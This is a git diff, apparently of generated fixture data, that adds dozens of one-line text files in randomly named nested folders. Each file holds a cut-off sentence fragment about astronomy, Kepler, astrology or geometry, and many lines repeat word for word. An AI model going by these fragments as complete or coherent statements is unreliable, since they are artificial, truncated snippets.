@@ -0,0 +1 @@
+The two Voyager interstellar spacecraft, the fastest machines ever launched from
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/duiprbvrahifgqxzstmx.txt b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/duiprbvrahifgqxzstmx.txt
new file mode 100644
index 0000000..bf97f0e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/duiprbvrahifgqxzstmx.txt
@@ -0,0 +1 @@
+simulated the Martian environment as it was then known, inoculated them with terrestrialmicroorganisms and waited to see if anybody survived. Such chambers are called, of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/file_abtadqsdohfadmq.txt b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/file_abtadqsdohfadmq.txt
new file mode 100644
index 0000000..a7613be
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/file_abtadqsdohfadmq.txt
@@ -0,0 +1 @@
+now in existence. In the scientific tradition, our task is to find them.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/file_cazkbhgjeclilvobrqw.txt b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/file_cazkbhgjeclilvobrqw.txt
new file mode 100644
index 0000000..a7613be
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/file_cazkbhgjeclilvobrqw.txt
@@ -0,0 +1 @@
+now in existence. In the scientific tradition, our task is to find them.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/file_etkqzylsxpgaqfcl.txt b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/file_etkqzylsxpgaqfcl.txt
new file mode 100644
index 0000000..a7613be
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/file_etkqzylsxpgaqfcl.txt
@@ -0,0 +1 @@
+now in existence. In the scientific tradition, our task is to find them.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/file_evtqkvztswrtomfcq.txt b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/file_evtqkvztswrtomfcq.txt
new file mode 100644
index 0000000..a7613be
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/file_evtqkvztswrtomfcq.txt
@@ -0,0 +1 @@
+now in existence. In the scientific tradition, our task is to find them.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/file_fsfcooprpfbbqcd.txt b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/file_fsfcooprpfbbqcd.txt
new file mode 100644
index 0000000..a7613be
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/file_fsfcooprpfbbqcd.txt
@@ -0,0 +1 @@
+now in existence. In the scientific tradition, our task is to find them.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/file_gbrdcvfsglrq.txt b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/file_gbrdcvfsglrq.txt
new file mode 100644
index 0000000..a7613be
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/file_gbrdcvfsglrq.txt
@@ -0,0 +1 @@
+now in existence. In the scientific tradition, our task is to find them.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/file_gknxirrebejgofxpt.txt b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/file_gknxirrebejgofxpt.txt
new file mode 100644
index 0000000..a7613be
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/file_gknxirrebejgofxpt.txt
@@ -0,0 +1 @@
+now in existence. In the scientific tradition, our task is to find them.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/file_gpdlgqwlwpjbxrqxmvi.txt b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/file_gpdlgqwlwpjbxrqxmvi.txt
new file mode 100644
index 0000000..a7613be
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/file_gpdlgqwlwpjbxrqxmvi.txt
@@ -0,0 +1 @@
+now in existence. In the scientific tradition, our task is to find them.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/file_gupbnmtsoegisb.txt b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/file_gupbnmtsoegisb.txt
new file mode 100644
index 0000000..a7613be
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/file_gupbnmtsoegisb.txt
@@ -0,0 +1 @@
+now in existence. In the scientific tradition, our task is to find them.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/file_idvoukeud.txt b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/file_idvoukeud.txt
new file mode 100644
index 0000000..a7613be
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/file_idvoukeud.txt
@@ -0,0 +1 @@
+now in existence. In the scientific tradition, our task is to find them.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/file_itdfwmtvfepsdzsaaeecn.txt b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/file_itdfwmtvfepsdzsaaeecn.txt
new file mode 100644
index 0000000..a7613be
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/file_itdfwmtvfepsdzsaaeecn.txt
@@ -0,0 +1 @@
+now in existence. In the scientific tradition, our task is to find them.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/file_kqdqtvrmjiydtsq.txt b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/file_kqdqtvrmjiydtsq.txt
new file mode 100644
index 0000000..a7613be
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/file_kqdqtvrmjiydtsq.txt
@@ -0,0 +1 @@
+now in existence. In the scientific tradition, our task is to find them.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/file_lqrvkclhixd.txt b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/file_lqrvkclhixd.txt
new file mode 100644
index 0000000..a7613be
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/file_lqrvkclhixd.txt
@@ -0,0 +1 @@
+now in existence. In the scientific tradition, our task is to find them.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/file_lutftzlwgtenw.txt b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/file_lutftzlwgtenw.txt
new file mode 100644
index 0000000..a7613be
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/file_lutftzlwgtenw.txt
@@ -0,0 +1 @@
+now in existence. In the scientific tradition, our task is to find them.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/file_npygsviql.txt b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/file_npygsviql.txt
new file mode 100644
index 0000000..a7613be
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/file_npygsviql.txt
@@ -0,0 +1 @@
+now in existence. In the scientific tradition, our task is to find them.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/file_oxmschkjdsadbxa.txt b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/file_oxmschkjdsadbxa.txt
new file mode 100644
index 0000000..a7613be
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/file_oxmschkjdsadbxa.txt
@@ -0,0 +1 @@
+now in existence. In the scientific tradition, our task is to find them.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/file_xzaedrzibwb.txt b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/file_xzaedrzibwb.txt
new file mode 100644
index 0000000..a7613be
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/file_xzaedrzibwb.txt
@@ -0,0 +1 @@
+now in existence. In the scientific tradition, our task is to find them.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/hjnxhzoajyqxkioyfjdboir.txt b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/hjnxhzoajyqxkioyfjdboir.txt
new file mode 100644
index 0000000..7febe84
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/hjnxhzoajyqxkioyfjdboir.txt
@@ -0,0 +1 @@
+sins no more wicked than another’s and despaired of ever attaining salvation.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/ijzigsxc.txt b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/ijzigsxc.txt
new file mode 100644
index 0000000..f716bc2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/ijzigsxc.txt
@@ -0,0 +1 @@
+the cost of losing a dimension in the geometrical projection. Now let us take our three-
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/lwikpoqebc.txt b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/lwikpoqebc.txt
new file mode 100644
index 0000000..7a3981f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/lwikpoqebc.txt
@@ -0,0 +1 @@
+imagined in the 1920’s. It would take more than the age of the universe for light to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/mbhjlczv.txt b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/mbhjlczv.txt
new file mode 100644
index 0000000..4dd7973
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/mbhjlczv.txt
@@ -0,0 +1 @@
+first thought to be hot intergalactic hydrogen, an immense amount of it never before seen,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/nktooyxdpvrvvdhkynn.txt b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/nktooyxdpvrvvdhkynn.txt
new file mode 100644
index 0000000..ce69df4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/nktooyxdpvrvvdhkynn.txt
@@ -0,0 +1 @@
+This is merely another way of saying what we have known for decades: the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/nkwtydbumgzqi.txt b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/nkwtydbumgzqi.txt
new file mode 100644
index 0000000..ad59aa3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/nkwtydbumgzqi.txt
@@ -0,0 +1 @@
+and Sun-centered - reached a climax in the sixteenth and seventeenth centuries in the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/oaxinxnglktajphypestkecx.txt b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/oaxinxnglktajphypestkecx.txt
new file mode 100644
index 0000000..deeefd3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/oaxinxnglktajphypestkecx.txt
@@ -0,0 +1 @@
+Modern popular astrology runs directly back to Claudius Ptolemaeus, whom we call
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/pyvnbovgqpo.txt b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/pyvnbovgqpo.txt
new file mode 100644
index 0000000..399a962
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/pyvnbovgqpo.txt
@@ -0,0 +1 @@
+So for a cube, there are 6 faces (F = 6) and 8 vertices (V = 8), and 8 - E + 6 = 2, 14 - E = 2,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/qfwrslndl.txt b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/qfwrslndl.txt
new file mode 100644
index 0000000..f341725
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/qfwrslndl.txt
@@ -0,0 +1 @@
+and scientists, philosophers and mathematicians. This was the time of the master painters
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/qvhhtsmrmavnkakkaepezu.txt b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/qvhhtsmrmavnkakkaepezu.txt
new file mode 100644
index 0000000..94a55c5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/qvhhtsmrmavnkakkaepezu.txt
@@ -0,0 +1 @@
+among them all the planets visible to the naked eye, all those wandering nocturnal lights
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/uhhbpyqttvewlgjoxg.txt b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/uhhbpyqttvewlgjoxg.txt
new file mode 100644
index 0000000..b3a307b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/uhhbpyqttvewlgjoxg.txt
@@ -0,0 +1 @@
+independent of their red shifts. By understanding the structure and the red shift of the most
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_icmzigkcnw/file_bronxqnzamtxbelxvj.txt b/big_zip/big-zip-files/folder_icmzigkcnw/file_bronxqnzamtxbelxvj.txt
new file mode 100644
index 0000000..190b70d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_icmzigkcnw/file_bronxqnzamtxbelxvj.txt
@@ -0,0 +1 @@
+In the midst of other grave personal problems. Kepler rushed to Württemberg to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_icmzigkcnw/file_cfyualwzisvfcbrmpsjsm.txt b/big_zip/big-zip-files/folder_icmzigkcnw/file_cfyualwzisvfcbrmpsjsm.txt
new file mode 100644
index 0000000..190b70d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_icmzigkcnw/file_cfyualwzisvfcbrmpsjsm.txt
@@ -0,0 +1 @@
+In the midst of other grave personal problems. Kepler rushed to Württemberg to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_icmzigkcnw/file_efodbyvxy.txt b/big_zip/big-zip-files/folder_icmzigkcnw/file_efodbyvxy.txt
new file mode 100644
index 0000000..190b70d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_icmzigkcnw/file_efodbyvxy.txt
@@ -0,0 +1 @@
+In the midst of other grave personal problems. Kepler rushed to Württemberg to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_icmzigkcnw/file_hvbfaqtfbfsv.txt b/big_zip/big-zip-files/folder_icmzigkcnw/file_hvbfaqtfbfsv.txt
new file mode 100644
index 0000000..190b70d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_icmzigkcnw/file_hvbfaqtfbfsv.txt
@@ -0,0 +1 @@
+In the midst of other grave personal problems. Kepler rushed to Württemberg to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_icmzigkcnw/file_iofefoiaavhjxukehzh.txt b/big_zip/big-zip-files/folder_icmzigkcnw/file_iofefoiaavhjxukehzh.txt
new file mode 100644
index 0000000..190b70d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_icmzigkcnw/file_iofefoiaavhjxukehzh.txt
@@ -0,0 +1 @@
+In the midst of other grave personal problems. Kepler rushed to Württemberg to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_icmzigkcnw/file_juukadlurwttxhdmzs.txt b/big_zip/big-zip-files/folder_icmzigkcnw/file_juukadlurwttxhdmzs.txt
new file mode 100644
index 0000000..190b70d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_icmzigkcnw/file_juukadlurwttxhdmzs.txt
@@ -0,0 +1 @@
+In the midst of other grave personal problems. Kepler rushed to Württemberg to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_icmzigkcnw/file_llsxntkgmz.txt b/big_zip/big-zip-files/folder_icmzigkcnw/file_llsxntkgmz.txt
new file mode 100644
index 0000000..190b70d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_icmzigkcnw/file_llsxntkgmz.txt
@@ -0,0 +1 @@
+In the midst of other grave personal problems. Kepler rushed to Württemberg to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_icmzigkcnw/file_mpticrecvj.txt b/big_zip/big-zip-files/folder_icmzigkcnw/file_mpticrecvj.txt
new file mode 100644
index 0000000..190b70d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_icmzigkcnw/file_mpticrecvj.txt
@@ -0,0 +1 @@
+In the midst of other grave personal problems. Kepler rushed to Württemberg to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_icmzigkcnw/file_omybqxyzrmgslzgvyal.txt b/big_zip/big-zip-files/folder_icmzigkcnw/file_omybqxyzrmgslzgvyal.txt
new file mode 100644
index 0000000..190b70d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_icmzigkcnw/file_omybqxyzrmgslzgvyal.txt
@@ -0,0 +1 @@
+In the midst of other grave personal problems. Kepler rushed to Württemberg to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_icmzigkcnw/file_pkxtokklxrzbl.txt b/big_zip/big-zip-files/folder_icmzigkcnw/file_pkxtokklxrzbl.txt
new file mode 100644
index 0000000..190b70d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_icmzigkcnw/file_pkxtokklxrzbl.txt
@@ -0,0 +1 @@
+In the midst of other grave personal problems. Kepler rushed to Württemberg to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_icmzigkcnw/file_puurcdyz.txt b/big_zip/big-zip-files/folder_icmzigkcnw/file_puurcdyz.txt
new file mode 100644
index 0000000..190b70d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_icmzigkcnw/file_puurcdyz.txt
@@ -0,0 +1 @@
+In the midst of other grave personal problems. Kepler rushed to Württemberg to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_icmzigkcnw/file_rngagacarmuop.txt b/big_zip/big-zip-files/folder_icmzigkcnw/file_rngagacarmuop.txt
new file mode 100644
index 0000000..190b70d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_icmzigkcnw/file_rngagacarmuop.txt
@@ -0,0 +1 @@
+In the midst of other grave personal problems. Kepler rushed to Württemberg to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_icmzigkcnw/file_smclfytsqedsfsyhdqylgt.txt b/big_zip/big-zip-files/folder_icmzigkcnw/file_smclfytsqedsfsyhdqylgt.txt
new file mode 100644
index 0000000..190b70d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_icmzigkcnw/file_smclfytsqedsfsyhdqylgt.txt
@@ -0,0 +1 @@
+In the midst of other grave personal problems. Kepler rushed to Württemberg to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_icmzigkcnw/file_ujtibmkuu.txt b/big_zip/big-zip-files/folder_icmzigkcnw/file_ujtibmkuu.txt
new file mode 100644
index 0000000..190b70d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_icmzigkcnw/file_ujtibmkuu.txt
@@ -0,0 +1 @@
+In the midst of other grave personal problems. Kepler rushed to Württemberg to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_icmzigkcnw/file_vntnmimtsxatqtns.txt b/big_zip/big-zip-files/folder_icmzigkcnw/file_vntnmimtsxatqtns.txt
new file mode 100644
index 0000000..190b70d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_icmzigkcnw/file_vntnmimtsxatqtns.txt
@@ -0,0 +1 @@
+In the midst of other grave personal problems. Kepler rushed to Württemberg to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_icmzigkcnw/file_wfsrusspywocmcns.txt b/big_zip/big-zip-files/folder_icmzigkcnw/file_wfsrusspywocmcns.txt
new file mode 100644
index 0000000..190b70d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_icmzigkcnw/file_wfsrusspywocmcns.txt
@@ -0,0 +1 @@
+In the midst of other grave personal problems. Kepler rushed to Württemberg to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_icmzigkcnw/file_yibrkiaarkebitosisvxnfan.txt b/big_zip/big-zip-files/folder_icmzigkcnw/file_yibrkiaarkebitosisvxnfan.txt
new file mode 100644
index 0000000..190b70d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_icmzigkcnw/file_yibrkiaarkebitosisvxnfan.txt
@@ -0,0 +1 @@
+In the midst of other grave personal problems. Kepler rushed to Württemberg to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_icmzigkcnw/file_yrjtfeeebwwvswpvjmbasxy.txt b/big_zip/big-zip-files/folder_icmzigkcnw/file_yrjtfeeebwwvswpvjmbasxy.txt
new file mode 100644
index 0000000..190b70d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_icmzigkcnw/file_yrjtfeeebwwvswpvjmbasxy.txt
@@ -0,0 +1 @@
+In the midst of other grave personal problems. Kepler rushed to Württemberg to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/file_awjsjmxjfvbmqp.txt b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/file_awjsjmxjfvbmqp.txt
new file mode 100644
index 0000000..14fc294
--- /dev/null
+++ b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/file_awjsjmxjfvbmqp.txt
@@ -0,0 +1 @@
+Empedocles is said to have died in an apotheotic fit by leaping into the hot lava at
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/file_fqubukcztyhhqfjfgsppwwi.txt b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/file_fqubukcztyhhqfjfgsppwwi.txt
new file mode 100644
index 0000000..14fc294
--- /dev/null
+++ b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/file_fqubukcztyhhqfjfgsppwwi.txt
@@ -0,0 +1 @@
+Empedocles is said to have died in an apotheotic fit by leaping into the hot lava at
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/file_hnykettbmmfpv.txt b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/file_hnykettbmmfpv.txt
new file mode 100644
index 0000000..14fc294
--- /dev/null
+++ b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/file_hnykettbmmfpv.txt
@@ -0,0 +1 @@
+Empedocles is said to have died in an apotheotic fit by leaping into the hot lava at
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/file_ivafzomgtofrhguhrgw.txt b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/file_ivafzomgtofrhguhrgw.txt
new file mode 100644
index 0000000..14fc294
--- /dev/null
+++ b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/file_ivafzomgtofrhguhrgw.txt
@@ -0,0 +1 @@
+Empedocles is said to have died in an apotheotic fit by leaping into the hot lava at
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/file_jshyocdfl.txt b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/file_jshyocdfl.txt
new file mode 100644
index 0000000..14fc294
--- /dev/null
+++ b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/file_jshyocdfl.txt
@@ -0,0 +1 @@
+Empedocles is said to have died in an apotheotic fit by leaping into the hot lava at
\ No newline at end of file
